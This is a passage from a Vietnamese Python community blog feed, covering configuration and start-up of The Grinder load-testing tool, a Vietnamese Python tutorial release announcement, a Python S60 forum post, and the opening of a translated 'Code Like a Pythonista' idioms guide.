<li><p class="first">Tạo tập tin kịch bản gọi mõi khi chạy <tt class="docutils literal">setGrinderEnv.cmd</tt>:</p>
<div class="highlight"><pre><span></span><span class="k">set</span> <span class="nv">GRINDERPATH</span><span class="p">=</span>(full path to grinder install directory)
<span class="k">set</span> <span class="nv">GRINDERPROPERTIES</span><span class="p">=</span>(full path to grinder.properties)\grinder.properties
<span class="k">set</span> <span class="nv">CLASSPATH</span><span class="p">=</span><span class="nv">%GRINDERPATH%</span>\lib\grinder.jar;<span class="nv">%CLASSPATH%</span>
<span class="k">set</span> <span class="nv">JAVA_HOME</span><span class="p">=</span>(full path to java install directory)
<span class="k">PATH</span>=<span class="nv">%JAVA_HOME%</span>\bin;<span class="nv">%PATH%</span>
</pre></div>
</li>
<li><p class="first">Hoặc gán trực tiếp biến môi trường mỗi khi khởi động bằng cách:</p>
<ul class="simple">
<li>Vào System Properties chọn tab Advanced chọn tiếp Environment Variables</li>
<li>Chọn New và thêm vào tên biến và đường dẫn như trên.</li>
</ul>
</li>
</ul>
</div>
<div class="section" id="doi-voi-unix">
<h3>Đối với Unix</h3>
<ul>
<li><p class="first">Tạo tập tin kịch bản <tt class="docutils literal">setGrinderEnv.sh</tt>:</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/ksh</span>
<span class="nv">GRINDERPATH</span><span class="o">=(</span>full path to grinder install directory<span class="o">)</span>
<span class="nv">GRINDERPROPERTIES</span><span class="o">=(</span>full path to grinder.properties<span class="o">)</span>/grinder.properties
<span class="nv">CLASSPATH</span><span class="o">=</span><span class="nv">$GRINDERPATH</span>/lib/grinder.jar:<span class="nv">$CLASSPATH</span>
<span class="nv">JAVA_HOME</span><span class="o">=(</span>full path to java install directory<span class="o">)</span>
<span class="nv">PATH</span><span class="o">=</span><span class="nv">$JAVA_HOME</span>/bin:<span class="nv">$PATH</span>
<span class="nb">export</span> CLASSPATH PATH GRINDERPROPERTIES
</pre></div>
</li>
<li><p class="first">Hoặc gán trực tiếp mỗi khi đăng nhập vào người dùng bằng cách thêm vào trong tập tin <tt class="docutils literal"><span class="pre">/home/$USER/.bashrc</span></tt>:</p>
<div class="highlight"><pre><span></span><span class="nb">export</span> <span class="nv">GRINDERPATH</span><span class="o">=(</span>full path to grinder install directory<span class="o">)</span>
<span class="nb">export</span> <span class="nv">GRINDERPROPERTIES</span><span class="o">=(</span>full path to grinder.properties<span class="o">)</span>/grinder.properties
<span class="nb">export</span> <span class="nv">CLASSPATH</span><span class="o">=</span><span class="nv">$GRINDERPATH</span>/lib/grinder.jar:<span class="nv">$CLASSPATH</span>
<span class="nb">export</span> <span class="nv">JAVA_HOME</span><span class="o">=(</span>full path to java install directory<span class="o">)</span>
</pre></div>
</li>
</ul>
</div>
</div>
<div class="section" id="cau-hinh">
<h2>Cấu hình</h2>
<p>Tập tin thuộc tính <tt class="docutils literal">grinder.properties</tt> thường gồm các tham số sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="31%" />
<col width="44%" />
<col width="25%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Tên tham số</th>
<th class="head">Giải thích</th>
<th class="head">Giá trị mặc định</th>
</tr>
</thead>
<tbody valign="top">
<tr><td><tt class="docutils literal">grinder.processes</tt></td>
<td>Số lượng tiến trình worker mà một agent khởi tạo</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">grinder.threads</tt></td>
<td>Số lượng tiểu trình mà mỗi tiến trình worker sinh ra</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">grinder.runs</tt></td>
<td>Số lần chạy kịch bản kiểm thử mà mỗi tiểu trình
chạy. 0 nghĩa là chạy lặp đi lặp lại. Tham số này
nên để là 0 khi sử dụng Console để điều khiển hoạt
động của các agent.</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">grinder.processIncrement</tt></td>
<td>Nếu đặt, agent sẽ tăng số lượng tiếng trình worker
lên sau mỗi nhịp
<tt class="docutils literal">grinder.processIncrementInterval</tt>.</td>
<td>0 (Khởi động tất cả các
tiến trình worker cùng lúc.)</td>
</tr>
<tr><td><tt class="docutils literal">grinder.processIncrementInterval</tt></td>
<td>Sử dụng cùng với tham số
<tt class="docutils literal">grinder.processIncrement</tt>, tham số này xác định
nhịp tăng tiến trình worker tính theo mili giây.</td>
<td>60000</td>
</tr>
<tr><td><tt class="docutils literal">grinder.initialProcesses</tt></td>
<td>Sử dụng cùng với tham số
<tt class="docutils literal">grinder.processIncrement</tt>, tham số này xác định
số lượng tiến trình worker khởi động.</td>
<td>Giá trị của
<tt class="docutils literal">grinder.processIncrement</tt>.</td>
</tr>
<tr><td><tt class="docutils literal">grinder.duration</tt></td>
<td>Thời gian mỗi tiến trình worker chạy. Tham số này có
thể xác định cùng với tham số <tt class="docutils literal">grinder.runs</tt>, điều
đó có nghĩa là tiến trình worker sẽ chấm dứt nếu hết
thời gian chạy hoặc số lượng tiến trình worker đạt
tối đa.</td>
<td>0 (Không kết thúc.)</td>
</tr>
<tr><td><tt class="docutils literal">grinder.script</tt></td>
<td>Tên tập tin kịch bản sẽ chạy.</td>
<td><tt class="docutils literal">grinder.py</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.jvm</tt></td>
<td>Sử dụng máo ảo Java (JVM) khác. Mặc định là <tt class="docutils literal">java</tt>
nên không cần phải khai báo nếu đã có sẵn trong
đường dẫn (PATH).</td>
<td><tt class="docutils literal">java</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.jvm.classpath</tt></td>
<td>Dùng để xác định đường dẫn đến các lớp sử dụng cho
tiến trình worker. Bất cứ đường dẫn nào xác định ở
đây sẽ được thêm vào trong đường dẫn classpath sử
dụng để khởi động tiến trình Grinder.</td>
<td> </td>
</tr>
<tr><td><tt class="docutils literal">grinder.jvm.arguments</tt></td>
<td>Các tham số phụ thêm cho tiến trình worker.</td>
<td> </td>
</tr>
<tr><td><tt class="docutils literal">grinder.logDirectory</tt></td>
<td>Thư mục lưu tập tin log. Tự động tạo nếu chưa có.</td>
<td>Thư mục cục bộ</td>
</tr>
<tr><td><tt class="docutils literal">grinder.numberOfOldLogs</tt></td>
<td>Số lượng nhật kí được lưu lại từ lần chạy trước đó.</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">grinder.hostID</tt></td>
<td>Thay thế chuỗi <tt class="docutils literal">host</tt> sử dụng trong tên tập tin
nhật kí và trong nhật kí.</td>
<td>Tên máy</td>
</tr>
<tr><td><tt class="docutils literal">grinder.consoleHost</tt></td>
<td>Địa chỉ IP hoặc tên máy sử dụng cho kết nối giữa các
agent, tiến trình worker và console.</td>
<td>Tất cả các giao tiếp
mạng của máy.</td>
</tr>
<tr><td><tt class="docutils literal">grinder.consolePort</tt></td>
<td>Cổng để agent và tiến trình worker sử dụng để kết
nối đến console.</td>
<td>6372</td>
</tr>
<tr><td><tt class="docutils literal">grinder.useConsole</tt></td>
<td>Nếu đặt là <tt class="docutils literal">false</tt>, agent và tiến trình worker sẽ
không sử dụng console.</td>
<td><tt class="docutils literal">true</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.reportToConsole.interval</tt></td>
<td>Khoảng thời gian mỗi tiến trình gửi cập nhật về cho
console. Tham số này cũng xác định khoảng thời gian
các tập tin dữ liệu được làm mới. Giá trị tính theo
mili giây.</td>
<td>500</td>
</tr>
<tr><td><tt class="docutils literal">grinder.initialSleepTime</tt></td>
<td>Khoảng thời gian tối đa mỗi tiểu trình đợi trước khi
bắt đầu. Không giống như thời gian ngừng trong kịch
bản, tham số này thay đổi ngẫu nhiên giữa 0 và giá
trị được đặt. Bị ảnh hưởng bởi tham số
<tt class="docutils literal">grinder.sleepTimeFactor</tt>, còn tham số
<tt class="docutils literal">grinder.sleepTimeVariation</tt> thì không. Giá trị
tính theo mili giây.</td>
<td>0</td>
</tr>
<tr><td><tt class="docutils literal">grinder.sleepTimeFactor</tt></td>
<td>Thêm một hệ số vào thời gian chờ đã đặt, thông qua
một thuộc tính hay trong kịch bản. Đặt giá trị này
là 0.1 kịch bản sẽ chạy nhanh hơn mười lần.</td>
<td>1</td>
</tr>
<tr><td><tt class="docutils literal">grinder.sleepTimeVariation</tt></td>
<td>Thông thường, Grinder thay đổi thời gian chờ xác
định trong kịch bản tùy theo sự phân chia bình
thường. Tham số này xác định một dải phân đoạn mà đa
số (chiếm 99.75%) là sẽ rơi vào trong dải này. Ví
dụ, nếu thời gian chờ xác định là 1000 và
<tt class="docutils literal">sleepTimeVariation</tt> đặt là 0.1, khi đó 99.75% các
giá trị thời gian chờ sẽ nằm trong khoảng 900 và
1100 milli giây.</td>
<td>0.2</td>
</tr>
<tr><td><tt class="docutils literal">grinder.logProcessStreams</tt></td>
<td>Đặt là <tt class="docutils literal">false</tt> để tắt tính năng ghi nhật kí những
thông báo và lỗi hiển thị của tiến trình worker.
Dùng tham số này để giảm tải cho các tiểu trình tại
máy trạm.</td>
<td><tt class="docutils literal">true</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.reportTimesToConsole</tt></td>
<td>Đặt là <tt class="docutils literal">false</tt> để tắt tính năng phản hồi thông tin
thời gian về cho console, các thông tin thống kê
khác vẫn được phản hồi.</td>
<td><tt class="docutils literal">true</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.debug.singleprocess</tt></td>
<td>Nếu đặt là <tt class="docutils literal">true</tt>, agent sẽ phát sinh tiểu trình
để chạy kịch bản thay vì tiến trình, sử dụng một bộ
nạp lớp đặc biệt để cô lập engine ra. Điều này cho
phép engine dễ gỡ rối hơn. Mục đích chính của công
cụ này là gỡ rối Grinder engine, tuy nhiên nó cũng
có thể dùng cho người dùng chuyên nghiệp vào các mục
đích khác.</td>
<td><tt class="docutils literal">false</tt></td>
</tr>
<tr><td><tt class="docutils literal">grinder.useNanoTime</tt></td>
<td>Nết đặt là <tt class="docutils literal">true</tt>, <tt class="docutils literal">System.nanoTime()</tt> sẽ được
dùng để đo thời gian thay vì
<tt class="docutils literal">System.currentTimeMills()</tt>. Grinder sẽ vẫn phản
hồi thời gian tính bằng mili giây. Độ chính xác của
những phương pháp này phụ thuộc vào sự hiện thực hóa
JVM và hệ điều hành. Tham số <tt class="docutils literal">true</tt> chỉ dùng cho
J2SE 5 hoặc lớn hơn.</td>
<td><tt class="docutils literal">false</tt></td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="vi-du">
<h2>Ví dụ</h2>
<p>Thông thường, một tập tin cấu hình đơn giản chỉ cần các thông số sau:</p>
<pre class="literal-block">
grinder.process 1
grinder.threads 1
grinder.runs 1
grinder.script sample.py
</pre>
<p>Nếu chạy ở chế độ có Console thì cần thêm:</p>
<pre class="literal-block">
grinder.useConsole true
grinder.consoleHost x.x.x.x (IP hoặc tên máy Console)
grinder.consolePort xxx (cổng quy định bởi Console)
</pre>
</div>
<div class="section" id="chay">
<h2>Chạy</h2>
<p>Để chạy Grinder có thể đơn giản như sau:</p>
<ul>
<li><p class="first">Chạy Console:</p>
<pre class="literal-block">
java net.grinder.Console
</pre>
</li>
<li><p class="first">Chạy Agent:</p>
<pre class="literal-block">
java net.grinder.Grinder
</pre>
</li>
</ul>
<p>Hoặc tạo tập tin kịch bản như sau:</p>
<div class="section" id="id1">
<h3>Đối với Windows</h3>
<p>startAgent.cmd</p>
<div class="highlight"><pre><span></span><span class="k">call</span> <span class="p">(</span><span class="k">path</span> to setGrinderEnv.cmd<span class="p">)</span>\setGrinderEnv.cmd
<span class="k">echo</span> <span class="nv">%CLASSPATH%</span>
java -cp <span class="nv">%CLASSPATH%</span> net.grinder.Grinder <span class="nv">%GRINDERPROPERTIES%</span>
</pre></div>
<p>startConsole.cmd</p>
<div class="highlight"><pre><span></span><span class="k">call</span> <span class="p">(</span><span class="k">path</span> to setGrinderEnv.cmd<span class="p">)</span>\setGrinderEnv.cmd
java -cp <span class="nv">%CLASSPATH%</span> net.grinder.Console
</pre></div>
</div>
<div class="section" id="id2">
<h3>Đối với Unix</h3>
<p>startAgent.sh</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/ksh</span>
. <span class="o">(</span>path to setGrinderEnv.sh<span class="o">)</span>/setGrinderEnv.sh
java -cp <span class="nv">$CLASSPATH</span> net.grinder.Grinder <span class="nv">$GRINDERPROPERTIES</span>
</pre></div>
<p>startConsole.sh</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/ksh</span>
. <span class="o">(</span>path to setGrinderEnv.sh<span class="o">)</span>/setGrinderEnv.sh
java -cp <span class="nv">$CLASSPATH</span> net.grinder.Console
</pre></div>
<p>Công việc tiếp theo chỉ là... viết kịch bản kiểm thử và chạy.</p>
</div>
</div>
<div class="section" id="tu-dong-hoa">
<h2>Tự động hóa</h2>
<p>Đến đây hẳn nhiều người, nhất là những lập trình viên không (chưa) biết ngôn ngữ Python sẽ tiếc nuối vì không biết viết mã cho kịch bản kiểm thử như thế nào. Nhưng có một cách để những lập trình viên này vẫn có thể dùng công cụ kiểm thử mạnh mẽ Grinder mà không cần phải biết viết một dòng mã Python nào. Từ phiên bản 3.0 trở lên, Grinder cung cấp một môi trường proxy kiểm soát dữ liệu vào ra để tự động tạo mã kịch bản tương ứng. Điều đó có nghĩa là, kịch bản sẽ tự động được tạo ra theo đúng những thao tác chuột và bàn phím mà những người kiểm thử làm. Và tất nhiên cách này chỉ dùng cho những kiểm thử đối với các ứng dụng web.</p>
<p>Để khởi động Grinder proxy:</p>
<div class="section" id="id3">
<h3>Đối với Windows</h3>
<p>startProxy.cmd</p>
<div class="highlight"><pre><span></span><span class="k">call</span> <span class="p">(</span><span class="k">path</span> to setGrinderEnv.cmd<span class="p">)</span>\setGrinderEnv.cmd
java -cp <span class="nv">%CLASSPATH%</span> net.grinder.TCPProxy -console -http <span class="p">></span> script_name.py
</pre></div>
</div>
<div class="section" id="id4">
<h3>Đối với Unix</h3>
<p>startProxy.sh</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/ksh</span>
. <span class="o">(</span>path to setGrinderEnv.sh<span class="o">)</span>/setGrinderEnv.sh
java -cp <span class="nv">$CLASSPATH</span> net.grinder.TCPProxy -console -http > script_name.py
</pre></div>
<p>Sau đó thiết đặt trình duyệt cho trỏ đến proxy là <tt class="docutils literal">localhost</tt> với cổng <tt class="docutils literal">8081</tt> và bắt đầu các thao tác kiểm thử.</p>
</div>
</div>
<div class="section" id="tong-ket">
<h2>Tổng kết</h2>
<p>Trên đây là những bước cơ bản nhất để có thể làm quen với một công cụ kiểm thử vô cùng mạnh mẽ, đơn giản, dễ dùng và đặc biệt là hoàn toàn miễn phí. Mặc dù chạy trên nền Java nhưng trong quá trình thử nghiệm cũng như sử dụng để kiểm thử hệ thống Online Trading của công ty Chứng khoán VNDirect, Grinder chạy rất nhẹ nhàng, không tốn nhiều RAM như tôi lo ngại, thậm chí tôi sử dụng chính các máy của người dùng làm agent trong khi mọi người vẫn làm việc mà không hề thấy hệ thống bị kéo chậm lại hay có vấn đề gì xảy ra. Việc làm quen với Grinder cũng không mất quá nhiều thời gian, kể cả với một tay ngang như tôi. Grinder thật sự rất ấn tượng. Và điểm nổi trội nhất của Grinder đó là nó cho phép người dùng tự định nghĩa kịch bản kiểm thử bằng một ngôn ngữ mạnh mẽ và mềm dẻo - Python.</p>
</div>
Phát hành Bài chỉ dẫn Python 2.52007-09-25T21:50:00+07:002007-09-25T21:50:00+07:00Nhóm PCNVtag:None,2007-09-25:2007/09/phat-hanh-bai-chi-dan-python-25.html<p><em>Bài chỉ dẫn Python</em> 2.5 tiếng Việt đã được nhóm Python cho người Việt phát hành vào ngày 26 tháng 09 năm 2007.</p>
<p>Ngày 26 tháng 09 năm 2007, theo đúng như dự định, nhóm Python cho người Việt đã chính thức phát hành bản dịch của tài liệu …</p><p><em>Bài chỉ dẫn Python</em> 2.5 tiếng Việt đã được nhóm Python cho người Việt phát hành vào ngày 26 tháng 09 năm 2007.</p>
<p>Ngày 26 tháng 09 năm 2007, theo đúng như dự định, nhóm Python cho người Việt đã chính thức phát hành bản dịch của tài liệu <em>Python Tutorial</em> với tên <strong>Bài chỉ dẫn Python</strong>. Tài liệu này giới thiệu người đọc những khái niệm nhập môn cơ bản của ngôn ngữ Python và các thư viện có sẵn của nó. Người mới học, cũng như các chuyên gia trong ngành Công Nghệ Thông Tin có thể tìm được nhiều thông tin bổ ích từ tài liệu.</p>
<p>Phát biểu về sự kiện này, anh Nguyễn Thành Nam (một trong các dịch giả và là thành viên của nhóm Python cho người Việt) nhận xét:</p>
<blockquote>
Việc có mặt một tài liệu Python tiếng Việt hoàn toàn miễn phí là một dấu mốc quan trọng trong việc đưa ngôn ngữ Python đến gần hơn với người dùng Việt Nam.</blockquote>
<p>Anh cũng cho biết thêm rằng bản dịch này là sự hợp tác của nhiều dịch giả từ khắp nơi trên thế giới có cùng niềm đam mê với ngôn ngữ Python và mong muốn giới thiệu và phát triển nó rộng rãi ở Việt Nam.</p>
<p>Tài liệu có thể được truy cập tại địa chỉ <a class="reference external" href="http://www.vithon.org/tutorial/2.5/tut.html">http://www.vithon.org/tutorial/2.5/tut.html</a>.</p>
Python S60 cho người mới bắt đầu2007-08-18T12:54:00+07:002007-08-18T12:54:00+07:00Trịnh Thành Trungtag:None,2007-08-18:2007/08/python-s60-cho-nguoi-moi-bat-dau.html<p>Xin chào các bạn, mình là thành viên mới của forum. Mình thực sự rất yêu thích Python, và cũng mới bắt đầu nghiên cứu về Python trong thời gian gần đây. Đặc biệt mình có nghiên cứu thêm về phát triển ứng dụng Python cho điện thoại Nokia S60 …</p><p>Xin chào các bạn, mình là thành viên mới của forum. Mình thực sự rất yêu thích Python, và cũng mới bắt đầu nghiên cứu về Python trong thời gian gần đây. Đặc biệt mình có nghiên cứu thêm về phát triển ứng dụng Python cho điện thoại Nokia S60. Trong quá trình học mình có ghi chép lại những gì đã học thành tài liệu Python S60 cho người mới bắt đầu. Tài liệu này mình vẫn viết, được cập nhật hàng ngày và có thể xem cũng như download tại <a class="reference external" href="http://my.opera.com/noname00/forums/topic.dml?id=198943">http://my.opera.com/noname00/forums/topic.dml?id=198943</a> (Khuyến cáo nên down bản PDF, vì nếu có thay đổi thì bản PDF sẽ được thay đổi chứ mình không thay đổi trên forum :D)</p>
<p>Mình nghĩ nó thích hợp cho cả những người mới bắt đầu làm quen với Python (như mình) cũng như những người thích lập trình Python cho điện thoại di động.</p>
<p>Mong các bạn cho ý kiến</p>
Lập trình như một Pythonista: Thành ngữ Python2007-07-27T21:57:00+07:002007-07-27T21:57:00+07:00Nguyễn Thành Namtag:None,2007-07-27:2007/07/lap-trinh-nhu-mot-pythonista-thanh-ngu-python.html<p>Bản lược dịch của bài nói chuyện "Code Like a Pythonista: Idiomatic Python" do David Goodger trình bày tại PyCon 2007 và OSCON 2007.</p>
<p>Ngày 26 tháng 07 năm 2007, David Goodger gửi bài nói chuyện <a class="reference external" href="http://python.net/~goodger/projects/pycon/2007/idiomatic/">Code Like a Pythonista: Idiomatic Python</a> mà ông đã trình bày ở PyCon 2007 …</p><p>Bản lược dịch của bài nói chuyện "Code Like a Pythonista: Idiomatic Python" do David Goodger trình bày tại PyCon 2007 và OSCON 2007.</p>
<p>Ngày 26 tháng 07 năm 2007, David Goodger gửi bài nói chuyện <a class="reference external" href="http://python.net/~goodger/projects/pycon/2007/idiomatic/">Code Like a Pythonista: Idiomatic Python</a> mà ông đã trình bày ở PyCon 2007 và OSCON 2007 lên trang nhà. Đây là bài lược dịch những ý chính.</p>
<p>Trước khi vào bài, xin được giới thiệu qua về hai từ mà chúng ta hay gặp là <strong>pythonista</strong> và <strong>pythoneer</strong>. <em>Pythonista</em> chỉ một người theo đuổi ngôn ngữ Python cuồng nhiệt, như là một cổ động viên bóng đá trung thành. <em>Pythoneer</em> chỉ một người luôn đi đầu và nắm bắt những điểm mới của ngôn ngữ Python, như là nhà khoa học tiên phong trong lĩnh vực của họ. Thông thường, hai từ này đều dùng để chỉ một người rất yêu thích Python, và có thể được hoán chuyển.</p>
<div class="section" id="kieu-lap-trinh-de-doc-la-quan-trong">
<h2>Kiểu lập trình: Dễ đọc là quan trọng</h2>
<blockquote>
<p>Programs must be written for people to read, and only incidentally for machines to execute.</p>
<p class="attribution">—Abelson & Sussman, <em>Structure and Interpretation of Computer Programs</em></p>
</blockquote>
<p>Tạm dịch: Chương trình phải được viết ra để cho người đọc, và chỉ là sự trùng hợp để cho máy thực thi.</p>
</div>
<div class="section" id="khoang-trang">
<h2>Khoảng trắng</h2>
<ul class="simple">
<li>Bốn (4) khoảng trắng ở mỗi nấc thụt vào</li>
<li>Không dùng tab</li>
<li>Không bao giờ lẫn lộn tab và khoảng trắng</li>
<li>Cách một dòng giữa các hàm</li>
<li>Cách hai dòng giữa các lớp</li>
<li>Chừa một khoảng trắng sau dấu phẩy <tt class="docutils literal">,</tt> trong từ điển, danh sách, bộ, danh sách tham số, và sau dấu hai chấm <tt class="docutils literal">:</tt> trong từ điển nhưng không phải trước nó</li>
<li>Chừa một khoảng trắng trước và sau phép gán và so sánh (trừ khi trong danh sách tham số)</li>
<li>Không chừa khoảng trắng trong ngoặc tròn, hoặc ngay trước các danh sách tham số</li>
<li>Không chừa khoảng trắng trong các chuỗi tài liệu</li>
</ul>
</div>
<div class="section" id="cach-dat-ten">
<h2>Cách đặt tên</h2>
<ul class="simple">
<li><tt class="docutils literal">joined_lower</tt> cho hàm, phương thức và thuộc tính</li>
<li><tt class="docutils literal">joined_lower</tt> hoặc <tt class="docutils literal">ALL_CAPS</tt> cho hằng</li>
<li><tt class="docutils literal">CapWords</tt> cho lớp</li>
<li><tt class="docutils literal">camelCase</tt> chỉ dùng để hợp với những thói quen đã có</li>
<li>Với các thuộc tính: <tt class="docutils literal">public</tt>, <tt class="docutils literal">_internal</tt>, và <tt class="docutils literal">__private</tt> nhưng hạn chế dùng kiểu <tt class="docutils literal">__private</tt></li>
</ul>
</div>
<div class="section" id="nhung-cau-lenh-ghep">
<h2>Những câu lệnh ghép</h2>
<p>Tốt:</p>
<div class="highlight"><pre><span></span><span class="k">if</span> <span class="n">foo</span> <span class="o">==</span> <span class="s1">'blah'</span><span class="p">:</span>
<span class="n">do_something</span><span class="p">()</span>
<span class="n">do_one</span><span class="p">()</span>
<span class="n">do_two</span><span class="p">()</span>
<span class="n">do_three</span><span class="p">()</span>
</pre></div>
<p>Xấu:</p>
<div class="highlight"><pre><span></span><span class="k">if</span> <span class="n">foo</span> <span class="o">==</span> <span class="s1">'blah'</span><span class="p">:</span> <span class="n">do_something</span><span class="p">()</span>
<span class="n">do_one</span><span class="p">();</span> <span class="n">do_two</span><span class="p">();</span> <span class="n">do_three</span><span class="p">()</span>
</pre></div>
<p>Việc thiếu thụt vào ở mã "Xấu" <em>che mất</em> câu lệnh <tt class="docutils literal">if</tt>. Sử dụng nhiều câu lệnh trên cùng một dòng là mang tội lớn.</p>
</div>
<div class="section" id="hoan-doi-gia-tri">
<h2>Hoán đổi giá trị</h2>
<p>Trong các ngôn ngữ khác:</p>
<div class="highlight"><pre><span></span><span class="n">temp</span> <span class="o">=</span> <span class="n">a</span><span class="p">;</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">b</span><span class="p">;</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">temp</span><span class="p">;</span>
</pre></div>
<p>Trong Python:</p>
<div class="highlight"><pre><span></span><span class="n">b</span><span class="p">,</span> <span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span>
</pre></div>
</div>
<div class="section" id="dau-tuong-tac">
<h2>Dấu <tt class="docutils literal">_</tt> tương tác</h2>
<p>Đây là một chức năng thật sự hữu dụng mà ít người biết.</p>
<p>Trong môi trường thông dịch tương tác, khi bạn định giá một biểu thức hoặc gọi một hàm, kết quả sẽ được gán vào một tên tạm, <tt class="docutils literal">_</tt> (dấu gạch chân).</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="mi">1</span> <span class="o">+</span> <span class="mi">1</span>
<span class="go">2</span>
<span class="gp">>>> </span><span class="n">_</span>
<span class="go">2</span>
</pre></div>
<p><tt class="docutils literal">_</tt> chứa biểu thức <em>được in</em> cuối cùng. Khi kết quả là <tt class="docutils literal">None</tt>, không có gì được in ra nên <tt class="docutils literal">_</tt> không thay đổi. Dấu gạch chân chỉ có tác dụng trong môi trường tương tác, không có tác dụng trong một mô-đun.</p>
</div>
<div class="section" id="tao-chuoi-tu-cac-chuoi-con">
<h2>Tạo chuỗi từ các chuỗi con</h2>
<p>Dùng:</p>
<div class="highlight"><pre><span></span><span class="n">colors</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'red'</span><span class="p">,</span> <span class="s1">'blue'</span><span class="p">,</span> <span class="s1">'green'</span><span class="p">,</span> <span class="s1">'yellow'</span><span class="p">]</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">colors</span><span class="p">)</span>
</pre></div>
<p>Không dùng:</p>
<div class="highlight"><pre><span></span><span class="n">colors</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'red'</span><span class="p">,</span> <span class="s1">'blue'</span><span class="p">,</span> <span class="s1">'green'</span><span class="p">,</span> <span class="s1">'yellow'</span><span class="p">]</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">for</span> <span class="n">s</span> <span class="ow">in</span> <span class="n">colors</span><span class="p">:</span>
<span class="n">result</span> <span class="o">+=</span> <span class="n">s</span>
</pre></div>
<p>Trường hợp hay gặp khi danh sách có nhiều hơn một phần từ:</p>
<div class="highlight"><pre><span></span><span class="n">colors</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'red'</span><span class="p">,</span> <span class="s1">'blue'</span><span class="p">,</span> <span class="s1">'green'</span><span class="p">,</span> <span class="s1">'yellow'</span><span class="p">]</span>
<span class="nb">print</span> <span class="s1">'Choose'</span><span class="p">,</span> <span class="s1">', '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">colors</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]),</span> <span class="s1">'or'</span><span class="p">,</span> <span class="n">colors</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</pre></div>
<p>In ra:</p>
<pre class="literal-block">
Choose red, blue, green or yellow
</pre>
</div>
<div class="section" id="dung-in-khi-co-the">
<h2>Dùng <tt class="docutils literal">in</tt> khi có thể</h2>
<p>Tốt:</p>
<div class="highlight"><pre><span></span><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">d</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">key</span>
</pre></div>
<ul class="simple">
<li><tt class="docutils literal">in</tt> thường là nhanh hơn</li>
<li>có thể dùng được với danh sách, bộ, từ điển, và tập hợp</li>
</ul>
<p>Xấu:</p>
<div class="highlight"><pre><span></span><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">d</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span>
<span class="nb">print</span> <span class="n">key</span>
</pre></div>
<p>Chỉ dùng được cho các đối tượng có phương thức <tt class="docutils literal">keys()</tt>.</p>
<p>Nhưng sẽ cần dùng <tt class="docutils literal">keys()</tt> khi sửa đổi từ điển:</p>
<div class="highlight"><pre><span></span><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">d</span><span class="o">.</span><span class="n">keys</span><span class="p">():</span>
<span class="n">d</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">key</span><span class="p">)]</span> <span class="o">=</span> <span class="n">d</span><span class="p">[</span><span class="n">key</span><span class="p">]</span>
</pre></div>
<p>vì <tt class="docutils literal">keys()</tt> tạo ra một danh sách các khóa riêng để lặp. Nếu không, bạn sẽ gặp phải lỗi <tt class="docutils literal">RuntimeError</tt> vì từ điển bị thay đổi trong khi lặp.</p>
<p>Để thống nhất, hãy dùng <tt class="docutils literal">key in dict</tt> thay vì <tt class="docutils literal">dict.has_key(key)</tt>.</p>
</div>
<div class="section" id="phuong-thuc-get-cua-tu-dien">
<h2>Phương thức <tt class="docutils literal">get()</tt> của từ điển</h2>
<p>Chúng ta thường khởi tạo các phần tử từ điển trước khi dùng. Đây là cách không hay:</p>
<div class="highlight"><pre><span></span><span class="n">navs</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">,</span> <span class="n">position</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="k">if</span> <span class="n">portfolio</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">navs</span><span class="p">:</span>
<span class="n">navs</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">navs</span><span class="p">[</span><span class="n">portfolio</span><span class="p">]</span> <span class="o">+=</span> <span class="n">position</span> <span class="o">*</span> <span class="n">prices</span><span class="p">[</span><span class="n">equity</span><span class="p">]</span>
</pre></div>
<p>Dùng <tt class="docutils literal">dict.get(key, default)</tt> sẽ tránh được việc kiểm tra:</p>
<div class="highlight"><pre><span></span><span class="n">navs</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">portfolio</span><span class="p">,</span> <span class="n">equity</span><span class="p">,</span> <span class="n">position</span><span class="p">)</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
